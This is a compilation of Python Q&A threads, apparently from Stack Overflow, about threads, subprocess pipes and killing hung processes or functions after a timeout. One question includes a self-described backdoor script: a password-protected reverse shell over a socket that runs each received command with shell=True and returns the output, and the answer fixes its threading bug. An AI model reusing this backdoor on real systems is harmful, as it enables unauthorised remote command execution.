I'm trying to run a minecraft server through Python 2.7 and it's working fine.
But when I try to pass it the stop command, it doesn't do anything until the server outputs something.
This is my code:
import os, sys, subprocess, threading, time
class Server:
def start(self):
t = threading.Thread(target=self.run)
t.daemon = True
t.start()
def run(self):
self.p = subprocess.Popen('java -Xmx512M -Xms512M -jar minecraft_server.1.8.1.jar nogui',
cwd=os.path.join(os.getcwd(), 'server'),
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True)
while True:
nextline = self.p.stdout.readline()
print self.p.poll()
if nextline == '' and self.p.poll() != None:
break
if not nextline == '':
sys.stdout.write(nextline)
sys.stdout.flush()
def stop(self):
self.p.communicate(input='stop')[0]
#endclass
s = Server()
s.start()
count = 0
# keep running
while True:
count += 1
if count == 15:
s.stop()
print "STOPPING SERVER"
time.sleep(1)
Image of output:
I'd like to have it not pause there.
Stopping it after 15 seconds is to test if I can get it working correctly, but I have no clue how to fix this. I saw some solutions using 'fcntl' but I want this to work on all platforms so that isn't an option for me.
How can I make it so I can run any command at any time?
Update:
import os, sys, subprocess, threading, time
class Server:
def start(self):
t = threading.Thread(target=self.run)
t.daemon = True
t.start()
def run(self):
self.p = subprocess.Popen('java -Xmx512M -Xms512M -jar minecraft_server.1.8.1.jar nogui',
cwd=os.path.join(os.getcwd(), 'server'),
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True)
print "started server"
while True:
outs, errs = self.p.communicate(input=None)
print outs.decode()
print "TEST"
def stop(self):
self.p.stdin.write('stop')
#endclass
s = Server()
s.start()
count = 0
# keep running
while True:
count += 1
print count
if count == 15:
s.stop()
print "STOPPING SERVER"
time.sleep(1)
Image of output:
There are multiple problems here:
You are mixing calls to .communicate() and .stdout.readline(), which are both trying to read from stdout.
You are attempting to read from the subprocess's stdout on two separate threads simultaneously.
While neither of these things is strictly illegal, both are highly inadvisable and lead to problems like this one.
I would recommend having one thread monitor stdout/stderr (with .communicate(input=None)) and another manually talking to stdin (with .stdin.write() or similar).
Related
I'm writing a Python module to read jstest output and make Xbox gamepad working in Python on Linux. I need to start in background infinite while loop in __init__ on another thread that looks like this:
import os
from threading import Thread
import time
import select
import subprocess
class Joystick:
"""Initializes base class and launches jstest and xboxdrv"""
def __init__(self, refreshRate=2000, deadzone=4000):
self.proc = subprocess.Popen(['xboxdrv', '-D', '-v', '--detach-kernel-driver', '--dpad-as-button'], stdout=subprocess.PIPE, bufsize=0)
self.pipe = self.proc.stdout
self.refresh = refreshRate
self.refreshDelay = 1.0 / refreshRate
self.refreshTime = 0 # indicates the next refresh
self.deadzone = deadzone
self.start()
self.xbox = subprocess.Popen(['jstest', '--normal', '/dev/input/js0'], stdout=subprocess.PIPE, bufsize=-1, universal_newlines=True)
self.response = self.xbox.stdout.readline()
a = Thread(target=self.reload2())
a.start()
print("working")
def reload2(self):
while True:
self.response = self.xbox.stdout.readline()
print("read")
time.sleep(0.5)
def start(self):
global leftVibrateAmount, rightVibrateAmount
leftVibrateAmount = 0
rightVibrateAmount = 0
readTime = time.time() + 1 # here we wait a while
found = False
while readTime > time.time() and not found:
readable, writeable, exception = select.select([self.pipe], [], [], 0)
if readable:
response = self.pipe.readline()
# tries to detect if controller is connected
if response == b'[ERROR] XboxdrvDaemon::run(): fatal exception: DBusSubsystem::request_name(): failed to become primary owner of dbus name\n':
raise IOError("Another instance of xboxdrv is running.")
elif response == b'[INFO] XboxdrvDaemon::connect(): connecting slot to thread\n':
found = True
self.reading = response
elif response == b'':
raise IOError('Are you running as sudo?')
if not found:
self.pipe.close()
# halt if controller not found
raise IOError("Xbox controller/receiver isn't connected")
The loop is defined to start running in __init__ function like so:
a = threading.Thread(target=self.reload2) # code hangs here
a.start()
But each time I create variable "a", whole program hangs in while loop, which should be running in another thread.
Thanks for help.
You may be having issues with your __init__. I put it in a simple class as an example, and it runs as expected.
import time
from threading import Thread
class InfiniteLooper():
def __init__(self):
a = Thread(target=self.reload2) # reload, not reload(), otherwise you're executing reload2 and assigning the result to Target, but it's an infinite loop, so...
print('Added thread')
a.start()
print('Thread started')
def reload2(self):
while True:
self.response = input('Enter something')
print('read')
time.sleep(0.5)
loop = InfiniteLooper()
Output:
Added thread
Thread started
Enter something
1
read
Enter something
1
read
As you can see, the "Enter something" appears after I've added the thread and started it. It also loops fine
Im trying out a backdoor program i made for fun and it's multithreaded but only the firs thread gets initialized and then the rest of the program is being blocked until the function ends. It's supposed to print the time each 10 sec but have a backdoor running simultaneously.
I use netcat to communicate with the script.
'nc -l 1234' in Terminal
Ive tried to print right after initilization but it did not print anything.
If i initialize the other thread first the other one gets blocked.(First man to the mill.)
First threads func. has to end before next gets started.
Imports and most of the variables including locks.
import socket
import subprocess
import threading
import time
port = 1234
passw = 'Password'
host = 'localhost'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print_lock = threading.Lock()
sleep_lock = threading.Lock()
Functions
def clock():
with print_lock:
print(time.time())
with sleep_lock:
time.sleep(10)
clock()
def login():
s.send("Login > ".encode('utf-8'))
usrPassw = s.recv(1024)
if(usrPassw.decode('utf-8').strip() == passw):
s.send("Successfully Connected!\n".encode('utf-8'))
s.send("> ".encode('utf-8'))
revShell()
else:
s.send("Wrong Password!\n".encode('utf-8'))
login()
def revShell():
global s
while True:
inData = s.recv(1024)
if(inData.decode('utf-8').strip() == 'logout'):
break
sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
output = sp.stdout.read() + sp.stderr.read()
s.send(output.encode('utf-8'))
s.send('> '.encode('utf-8'))
This gets initialized
tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()
This does not
bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()
I expect the two threads to run simultaneously but they don't and the first one blocks the main thread and the second thread to be initialized.
Here is the problem, in "threading.Thread", the "target" parameter expected to be function name, don't put parenthesis after your function just put function name:
change these
tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()
bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()
to:
tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()
bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()
You haven't provided your thread instance init(), so we're a bit in the dark.
However, the general approach is to
subclass threading.Thread, and in the instance's init() function, ensure that you call threading.Thread.__init__(self)
in your __main__() routine, call os.fork() and then if in the child process call run().
I've got a functional example of this at https://github.com/jmcp/jfy-monitor/blob/master/jfymonitor.py
I need to terminate thread but can't check regularly any flags since it waits for reading/input.
Simple example:
import threading, time
class Test(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
print(input("wainting for input: "))
th = Test()
th.start()
time.sleep(5)
print("killing!")
th.join(5)
print(th.is_alive())
The more real example is this (kill thread when it hangs - no output for longer time):
import threading, time
class Test(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def call(args):
return subprocess.Popen(" ".join(args), shell=True, stderr=subprocess.PIPE)
def run(self):
mainProcess = call([ any program that could hang])
out = None
while mainProcess.returncode != 0 or out == '' and mainProcess.poll() != None:
out = mainProcess.stderr.read(1)
if out != '':
sys.stdout.write(out)
sys.stdout.flush()
th = Test()
th.start()
time.sleep(5)
print("killing!")
th.join(5)
print(th.is_alive())
If there is a better approach, I would be happy too.
Here's an example, how you can solve your hanging process problem with select:
import threading
import select
import subprocess
import sys
def watch_output(args, timeout):
process = subprocess.Popen(args, stdout=subprocess.PIPE)
while True:
ready_to_read, _, _ = select.select([process.stdout], [], [], timeout)
if not ready_to_read:
print "hanging process"
process.kill()
break
out = ready_to_read[0].read(1)
if not out:
print "normal exit"
break
sys.stdout.write(out)
sys.stdout.flush()
return process.wait()
watch_output(['ls'], timeout=10)
or even your input with timeout is possible:
def read_input(prompt, timeout):
sys.stdout.write(prompt)
sys.stdout.flush()
ready_to_read, _, _ = select.select([sys.stdin], [], [], timeout)
if not ready_to_read:
return None
return ready_to_read[0].readline()
print read_input("wainting for input (4s): ", 4)
You can just have the main thread kill the process. The reader thread will eventually hit EOF and then exit.
Example:
#!/usr/bin/env python
import threading
import subprocess
import time
import sys
def pipe_thread(handle):
print "in pipe_thread"
x = handle.readline()
while x:
print "got:", x[:-1]
x = handle.readline()
def main():
p = subprocess.Popen(["./sender"], stdout = subprocess.PIPE)
t = threading.Thread(target = pipe_thread, args = [p.stdout])
t.start()
print "sleeping for a while"
time.sleep(5)
print "killing process"
p.kill()
print "joining"
t.join()
print "joined"
main()
I searchedon internet and learned other method of implementing it
the problem now i have found out. my execution time always becomes more than that
of time out if i write stdout=subprocess.PIPE in subprocess.Popen. If i am removing it then it is taking normal execution time
import subprocess, datetime, os, time, signal
//setting time for timeout
timeout=3
start = datetime.datetime.now()
process = subprocess.Popen(["python", "/home/bourne/untitled.py"],shell=False, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
while process.poll() is None:
time.sleep(0.1)
now = datetime.datetime.now()
if (now - start).seconds > timeout:
os.kill(process.pid, signal.SIGKILL)
os.waitpid(-1, os.WNOHANG)
print "error"
print (now - start).seconds
break
print (now - start).seconds
You shouldn't spawn a new thread just for having it time out in 5 seconds and then use it's isAlive status as break condition for a busy wait. You don't need an extra thread for that, you can messure the time in the first thread.
Instead of polling the thread as often as you can, you should use a delay (time.sleep) to allow the processor to do some real work.
And you should know that if your process is generating a lot of output, it will block if you don't read it while the process is executing and let it fill up the pipe's buffer.
Thread can be handled in python VM, but process not.
so u have to use OS api to kill ur process/subprocess, such as (in linux):
os.system("kill -9 %s"%(proc.pid))
and, using thread for timing is a bad idea. how about:
start_t = time.time()
TIME_END, TIME_SLEEP = 5, 1
while time.time() - start_t < TIME_END:
if proc.poll():
break
time.sleep(TIME_SLEEP)
I have successfully solved the problem. the solution is
import subprocess, signal, os, threading, errno
from contextlib import contextmanager
class TimeoutThread(object):
def __init__(self, seconds):
self.seconds = seconds
self.cond = threading.Condition()
self.cancelled = False
self.thread = threading.Thread(target=self._wait)
def run(self):
"""Begin the timeout."""
self.thread.start()
def _wait(self):
with self.cond:
self.cond.wait(self.seconds)
if not self.cancelled:
self.timed_out()
def cancel(self):
"""Cancel the timeout, if it hasn't yet occured."""
with self.cond:
self.cancelled = True
self.cond.notify()
self.thread.join()
def timed_out(self):
"""The timeout has expired."""
raise NotImplementedError
class KillProcessThread(TimeoutThread):
def __init__(self, seconds, pid):
super(KillProcessThread, self).__init__(seconds)
self.pid = pid
def timed_out(self):
try:
os.kill(self.pid, signal.SIGKILL) // this is for linux you need to change it for windows
except OSError,e:
# If the process is already gone, ignore the error.
if e.errno not in (errno.EPERM, errno. ESRCH):
raise e
#contextmanager
def processTimeout(seconds, pid):
timeout = KillProcessThread(seconds, pid)
timeout.run()
try:
yield
finally:
timeout.cancel()
def example(cmd):
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
//setting the timeout to be 1 sec
with processTimeout(1, proc.pid):
stdout,stderr=proc.communicate()
resultcode = proc.wait()
if resultcode < 0:
#print "error: %i" % resultcode
return resultcode,0
else:
return stdout,stderr
//This is used to create new subprocess and it will return output as well as error
output,err=example(["python",filepath,"5"])
I've read a lot of posts about using threads, subprocesses, etc.. A lot of it seems over complicated for what I'm trying to do...
All I want to do is stop executing a function after X amount of time has elapsed.
def big_loop(bob):
x = bob
start = time.time()
while True:
print time.time()-start
This function is an endless loop that never throws any errors or exceptions, period.
I"m not sure the difference between "commands, shells, subprocesses, threads, etc.." and this function, which is why I'm having trouble manipulating subprocesses.
I found this code here, and tried it but as you can see it keeps printing after 10 seconds have elapsed:
import time
import threading
import subprocess as sub
import time
class RunCmd(threading.Thread):
def __init__(self, cmd, timeout):
threading.Thread.__init__(self)
self.cmd = cmd
self.timeout = timeout
def run(self):
self.p = sub.Popen(self.cmd)
self.p.wait()
def Run(self):
self.start()
self.join(self.timeout)
if self.is_alive():
self.p.terminate()
self.join()
def big_loop(bob):
x = bob
start = time.time()
while True:
print time.time()-start
RunCmd(big_loop('jimijojo'), 10).Run() #supposed to quit after 10 seconds, but doesn't
x = raw_input('DONEEEEEEEEEEEE')
What's a simple way this function can be killed. As you can see in my attempt above, it doesn't terminate after 20 seconds and just keeps on going...
***OH also, I've read about using signal, but I"m on windows so I can't use the alarm feature.. (python 2.7)
**assume the "infinitely running function" can't be manipulated or changed to be non-infinite, if I could change the function, well I'd just change it to be non infinite wouldn't I?
Here are some similar questions, which I haven't able to port over their code to work with my simple function:
Perhaps you can?
Python: kill or terminate subprocess when timeout
signal.alarm replacement in Windows [Python]
Ok I tried an answer I received, it works.. but how can I use it if I remove the if __name__ == "__main__": statement? When I remove this statement, the loop never ends as it did before..
import multiprocessing
import Queue
import time
def infinite_loop_function(bob):
var = bob
start = time.time()
while True:
time.sleep(1)
print time.time()-start
print 'this statement will never print'
def wrapper(queue, bob):
result = infinite_loop_function(bob)
queue.put(result)
queue.close()
#if __name__ == "__main__":
queue = multiprocessing.Queue(1) # Maximum size is 1
proc = multiprocessing.Process(target=wrapper, args=(queue, 'var'))
proc.start()
# Wait for TIMEOUT seconds
try:
timeout = 10
result = queue.get(True, timeout)
except Queue.Empty:
# Deal with lack of data somehow
result = None
finally:
proc.terminate()
print 'running other code, now that that infinite loop has been defeated!'
print 'bla bla bla'
x = raw_input('done')
Use the building blocks in the multiprocessing module:
import multiprocessing
import Queue
TIMEOUT = 5
def big_loop(bob):
import time
time.sleep(4)
return bob*2
def wrapper(queue, bob):
result = big_loop(bob)
queue.put(result)
queue.close()
def run_loop_with_timeout():
bob = 21 # Whatever sensible value you need
queue = multiprocessing.Queue(1) # Maximum size is 1
proc = multiprocessing.Process(target=wrapper, args=(queue, bob))
proc.start()
# Wait for TIMEOUT seconds
try:
result = queue.get(True, TIMEOUT)
except Queue.Empty:
# Deal with lack of data somehow
result = None
finally:
proc.terminate()
# Process data here, not in try block above, otherwise your process keeps running
print result
if __name__ == "__main__":
run_loop_with_timeout()
You could also accomplish this with a Pipe/Connection pair, but I'm not familiar with their API. Change the sleep time or TIMEOUT to check the behaviour for either case.
There is no straightforward way to kill a function after a certain amount of time without running the function in a separate process. A better approach would probably be to rewrite the function so that it returns after a specified time:
import time
def big_loop(bob, timeout):
x = bob
start = time.time()
end = start + timeout
while time.time() < end:
print time.time() - start
# Do more stuff here as needed
Can't you just return from the loop?
start = time.time()
endt = start + 30
while True:
now = time.time()
if now > endt:
return
else:
print end - start
import os,signal,time
cpid = os.fork()
if cpid == 0:
while True:
# do stuff
else:
time.sleep(10)
os.kill(cpid, signal.SIGKILL)
You can also check in the loop of a thread for an event, which is more portable and flexible as it allows other reactions than brute killing. However, this approach fails if # do stuff can take time (or even wait forever on some event).